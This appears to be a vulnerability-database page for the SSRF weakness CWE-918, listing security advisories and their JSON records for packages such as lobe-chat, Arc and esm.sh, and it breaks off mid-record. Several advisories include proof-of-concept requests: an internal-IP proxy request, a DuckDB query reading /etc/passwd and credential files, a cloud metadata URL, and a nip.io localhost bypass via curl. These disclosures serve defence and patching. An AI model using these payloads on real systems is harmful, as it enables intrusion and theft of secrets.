CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-MX8Q-JQWM-85MV
Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2023-06-30 20:40In NocoDB prior to 0.91.7, the SMTP plugin doesn't have verification or validation. This allows attackers to make requests to internal servers and read the contents.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nocodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.91.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-2062"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-209",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-30T20:40:22Z",
"nvd_published_at": "2022-06-13T12:15:00Z",
"severity": "HIGH"
},
"details": "In NocoDB prior to 0.91.7, the SMTP plugin doesn\u0027t have verification or validation. This allows attackers to make requests to internal servers and read the contents.",
"id": "GHSA-mx8q-jqwm-85mv",
"modified": "2023-06-30T20:40:22Z",
"published": "2022-06-14T00:00:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2062"
},
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/commit/a18f5dd53811b9ec1c1bb2fdbfb328c0c87d7fb4"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocodb/nocodb"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/35593b4c-f127-4699-8ad3-f0b2203a8ef6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NocoDB information disclosure vulnerability"
}
GHSA-MX99-9J8J-FRC2
Vulnerability from github – Published: 2024-06-25 21:31 – Updated: 2024-08-21 15:30In WhatsUp Gold versions released before 2023.1.3, an authenticated SSRF vulnerability in Wug.UI.Areas.Wug.Controllers.SessionControler.Update allows a low privileged user to chain this SSRF with an Improper Access Control vulnerability. This can be used to escalate privileges to Admin.
{
"affected": [],
"aliases": [
"CVE-2024-5015"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-25T21:16:00Z",
"severity": "HIGH"
},
"details": "In WhatsUp Gold versions released before 2023.1.3,\u00a0an authenticated SSRF vulnerability in Wug.UI.Areas.Wug.Controllers.SessionControler.Update allows a low privileged user to chain this SSRF with an Improper Access Control vulnerability. This can be used to escalate privileges to Admin.",
"id": "GHSA-mx99-9j8j-frc2",
"modified": "2024-08-21T15:30:49Z",
"published": "2024-06-25T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5015"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024"
},
{
"type": "WEB",
"url": "https://www.progress.com/network-monitoring"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXC9-8CWJ-H23W
Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32Server-Side Request Forgery (SSRF) vulnerability in Youzify Youzify youzify allows Server Side Request Forgery.This issue affects Youzify: from n/a through <= 1.3.5.
{
"affected": [],
"aliases": [
"CVE-2025-69014"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T11:15:59Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Youzify Youzify youzify allows Server Side Request Forgery.This issue affects Youzify: from n/a through \u003c= 1.3.5.",
"id": "GHSA-mxc9-8cwj-h23w",
"modified": "2026-01-20T15:32:45Z",
"published": "2025-12-30T12:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69014"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/youzify/vulnerability/wordpress-youzify-plugin-1-3-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/youzify/vulnerability/wordpress-youzify-plugin-1-3-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXF6-4CFW-JJW8
Vulnerability from github – Published: 2026-03-31 09:31 – Updated: 2026-03-31 18:31The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks
{
"affected": [],
"aliases": [
"CVE-2026-3881"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-31T07:16:12Z",
"severity": "MODERATE"
},
"details": "The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks",
"id": "GHSA-mxf6-4cfw-jjw8",
"modified": "2026-03-31T18:31:30Z",
"published": "2026-03-31T09:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3881"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/4b30421e-9848-45ce-87ab-0229d9d7df01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXHQ-XW3G-RPHC
Vulnerability from github – Published: 2024-05-10 15:29 – Updated: 2024-05-14 20:03Summary
The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/settings/agent
- you can attack all internal services by /api/proxy and get the echo in http response :)
PoC
POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
http://172.23.0.1:8000/
Impact
SSRF ,All users will be impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.150.5"
},
"package": {
"ecosystem": "npm",
"name": "@lobehub/chat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.150.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32964"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-10T15:29:51Z",
"nvd_published_at": "2024-05-14T15:37:18Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n\n\n\n\n\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.",
"id": "GHSA-mxhq-xw3g-rphc",
"modified": "2024-05-14T20:03:54Z",
"published": "2024-05-10T15:29:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32964"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobe-chat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
}
GHSA-MXX3-R9XG-4HF6
Vulnerability from github – Published: 2026-08-10 12:31 – Updated: 2026-08-10 12:31A server-side request forgery (SSRF) vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The /auth endpoint in api/main.py uses the user-supplied url POST parameter to redirect to a Home Assistant instance without validating the destination URL, enabling internal network scanning and access to internal services.
{
"affected": [],
"aliases": [
"CVE-2026-72581"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T11:17:31Z",
"severity": "HIGH"
},
"details": "A server-side request forgery (SSRF) vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The /auth endpoint in api/main.py uses the user-supplied url POST parameter to redirect to a Home Assistant instance without validating the destination URL, enabling internal network scanning and access to internal services.",
"id": "GHSA-mxx3-r9xg-4hf6",
"modified": "2026-08-10T12:31:53Z",
"published": "2026-08-10T12:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72581"
},
{
"type": "WEB",
"url": "https://github.com/duhow/xiaoai-patch"
},
{
"type": "WEB",
"url": "https://github.com/duhow/xiaoai-patch/blob/main/api/main.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXXC-P822-2HX9
Vulnerability from github – Published: 2026-01-26 23:26 – Updated: 2026-01-29 03:24Impact
When running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper's network access to reach internal services.
Patches
https://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.
Workarounds
Developers can allow list targets of an ExternalName by using -kubernetes-only-allowed-external-names=true and allow list via regular expressions -kubernetes-allowed-external-name '^[a-z][a-z0-9-.]+[.].allowed.example$'
References
https://kubernetes.io/docs/concepts/services-networking/service/#externalname
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zalando/skipper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24470"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T23:26:56Z",
"nvd_published_at": "2026-01-26T23:16:09Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWhen running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper\u0027s network access to reach internal services.\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.\n\n### Workarounds\n\nDevelopers can allow list targets of an ExternalName by using `-kubernetes-only-allowed-external-names=true` and allow list via regular expressions `-kubernetes-allowed-external-name \u0027^[a-z][a-z0-9-.]+[.].allowed.example$\u0027` \n\n### References\n\nhttps://kubernetes.io/docs/concepts/services-networking/service/#externalname",
"id": "GHSA-mxxc-p822-2hx9",
"modified": "2026-01-29T03:24:42Z",
"published": "2026-01-26T23:26:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24470"
},
{
"type": "WEB",
"url": "https://github.com/zalando/skipper/commit/a4c87ce029a58eb8e1c2c1f93049194a39cf6219"
},
{
"type": "PACKAGE",
"url": "https://github.com/zalando/skipper"
},
{
"type": "WEB",
"url": "https://github.com/zalando/skipper/releases/tag/v0.24.0"
},
{
"type": "WEB",
"url": "https://kubernetes.io/docs/concepts/services-networking/service/#externalname"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName"
}
GHSA-P2J4-C4G6-RPF5
Vulnerability from github – Published: 2026-06-08 23:51 – Updated: 2026-06-08 23:51Summary
Arc's user-SQL validator (internal/api/query.go:ValidateSQLRequest) blocked only read_parquet( and arc_partition_agg( via regex denylist. The broader DuckDB I/O function family — read_csv_auto, read_csv, read_json, read_json_auto, read_text, read_blob, glob, parquet_metadata, parquet_schema, read_xlsx, etc. — was not blocked. RBAC table-reference extraction inspected only FROM/JOIN clauses, so scalar table functions in the SELECT list slipped past both layers.
Impact
Any authenticated user, including a token with permissions: [], can read arbitrary local files via:
POST /api/v1/query
Authorization: Bearer <token>
{"sql": "SELECT * FROM read_csv_auto('/etc/passwd', header=false, columns={'l':'VARCHAR'}) LIMIT 5"}
Confirmed reachable targets:
auth.db— bcrypt hashes for every API token, plus legacy SHA-256 rows.arc.toml— S3 secrets, TLS keys./proc/self/environ— environment-variable secrets.- Cross-tenant Parquet files — bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.
- SSRF when
httpfsis loaded (any S3-backed deployment) —read_csv_auto('http://169.254.169.254/latest/meta-data/...')reaches instance metadata IPs.
Patches
Fixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:
SET GLOBAL allowed_directories = [...]enumerates Arc's legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).SET GLOBAL enable_external_access = false(one-way at runtime).- Verified by reading back the flag.
After lockdown, DuckDB refuses to open any file outside the allowlist and refuses further INSTALL/LOAD. Already-loaded extensions remain callable.
Workarounds
- Restrict API access to known-trusted networks via firewall rules.
- Temporary mitigation: add
read_csv*/read_json*/globetc. todangerousSQLPatternininternal/api/query.gopending 2026.06.1.
Credits
Reported by Alex Manson (@NeuroWinter, https://neurowinter.com/) on 2026-05-19.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/basekick-labs/arc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260520141557-91bdc29d1a02"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47735"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:51:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nArc\u0027s user-SQL validator (`internal/api/query.go:ValidateSQLRequest`) blocked only `read_parquet(` and `arc_partition_agg(` via regex denylist. The broader DuckDB I/O function family \u2014 `read_csv_auto`, `read_csv`, `read_json`, `read_json_auto`, `read_text`, `read_blob`, `glob`, `parquet_metadata`, `parquet_schema`, `read_xlsx`, etc. \u2014 was not blocked. RBAC table-reference extraction inspected only `FROM`/`JOIN` clauses, so scalar table functions in the `SELECT` list slipped past both layers.\n\n### Impact\n\nAny authenticated user, including a token with `permissions: []`, can read arbitrary local files via:\n\n```\nPOST /api/v1/query\nAuthorization: Bearer \u003ctoken\u003e\n{\"sql\": \"SELECT * FROM read_csv_auto(\u0027/etc/passwd\u0027, header=false, columns={\u0027l\u0027:\u0027VARCHAR\u0027}) LIMIT 5\"}\n```\n\nConfirmed reachable targets:\n\n- `auth.db` \u2014 bcrypt hashes for every API token, plus legacy SHA-256 rows.\n- `arc.toml` \u2014 S3 secrets, TLS keys.\n- `/proc/self/environ` \u2014 environment-variable secrets.\n- Cross-tenant Parquet files \u2014 bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.\n- SSRF when `httpfs` is loaded (any S3-backed deployment) \u2014 `read_csv_auto(\u0027http://169.254.169.254/latest/meta-data/...\u0027)` reaches instance metadata IPs.\n\n### Patches\n\nFixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:\n\n1. `SET GLOBAL allowed_directories = [...]` enumerates Arc\u0027s legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).\n2. `SET GLOBAL enable_external_access = false` (one-way at runtime).\n3. Verified by reading back the flag.\n\nAfter lockdown, DuckDB refuses to open any file outside the allowlist and refuses further `INSTALL`/`LOAD`. Already-loaded extensions remain callable.\n\n### Workarounds\n\n- Restrict API access to known-trusted networks via firewall rules.\n- Temporary mitigation: add `read_csv*`/`read_json*`/`glob` etc. to `dangerousSQLPattern` in `internal/api/query.go` pending 2026.06.1.\n\n### Credits\n\nReported by Alex Manson ([@NeuroWinter](https://github.com/NeuroWinter), https://neurowinter.com/) on 2026-05-19.",
"id": "GHSA-p2j4-c4g6-rpf5",
"modified": "2026-06-08T23:51:19Z",
"published": "2026-06-08T23:51:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Basekick-Labs/arc/security/advisories/GHSA-p2j4-c4g6-rpf5"
},
{
"type": "WEB",
"url": "https://github.com/Basekick-Labs/arc/pull/442"
},
{
"type": "WEB",
"url": "https://github.com/Basekick-Labs/arc/commit/91bdc29d1a02178ccf8c66375eccf85203108dfb"
},
{
"type": "PACKAGE",
"url": "https://github.com/Basekick-Labs/arc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Arc has an authenticated arbitrary local-file read via DuckDB I/O functions that bypasses RBAC table-level checks"
}
GHSA-P2V6-84H2-5X4R
Vulnerability from github – Published: 2026-02-25 22:57 – Updated: 2026-03-02 16:40Summary
An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).
Details
The vulnerable flow starts at the route handling user-controlled remote URLs:
server/router.go:532-
Accepts paths beginning with
/http://or/https://. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()// disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }
The internal-target block is string-based:
- `server/router.go:545`
```go
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
Localhost detection itself is limited to hostname patterns:
server/utils.go:72isLocalhost(...)checks values likelocalhost,127.0.0.1, and192.168.*.- It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}
Fetch proceeds with host-string allowlisting:
server/router.go:595-596allowedHosts[modUrl.Host] = struct{}{}thenfetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
internal/fetch/fetch.go:49- Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
if c.allowedHosts != nil {
if _, ok := c.allowedHosts[url.Host]; !ok {
return nil, errors.New("host not allowed: " + url.Host)
}
}
if c.userAgent != "" {
if header == nil {
header = make(http.Header)
}
header.Set("User-Agent", c.userAgent)
}
// ...
return c.Do(req)
}
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
PoC
Reproduction tested on local Docker deployment.
- Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
- Run an internal localhost-only test service (
secretresponse) in the same network namespace: - Internal network test server code (app.py):
from flask import Flask, Response
@app.get('/secret.js')
def secret_js():
return Response('secret;\n', mimetype='application/javascript')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
Run the internal Python server container (same network namespace as esmsh-5558):
docker run -d --name internal-5555 --network container:esmsh-5558 \
-v "<YOUR_PATH>/flask-internal:/app" -w /app \
python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
- Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
- Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"
127.0.0.1 is blocked,
but 127.0.0.1.nip.io bypasses the filter.
This confirms external requesters can fetch internal localhost service content through esm.sh.
Impact
This is a Server-Side Request Forgery vulnerability (CWE-918).
Impacted:
- Any esm.sh deployment exposing the /http(s) route to untrusted users.
- Environments where internal services are reachable from the esm.sh server/container network.
Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250616164159-0593516c4cfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27730"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T22:57:59Z",
"nvd_published_at": "2026-02-25T16:23:27Z",
"severity": "HIGH"
},
"details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh\u2019s `/http(s)` fetch route. \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). \nThis allows an external requester to make the esm.sh server fetch internal localhost services. \nSeverity: High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get(\u0027/secret.js\u0027)\ndef secret_js():\n return Response(\u0027secret;\\n\u0027, mimetype=\u0027application/javascript\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh 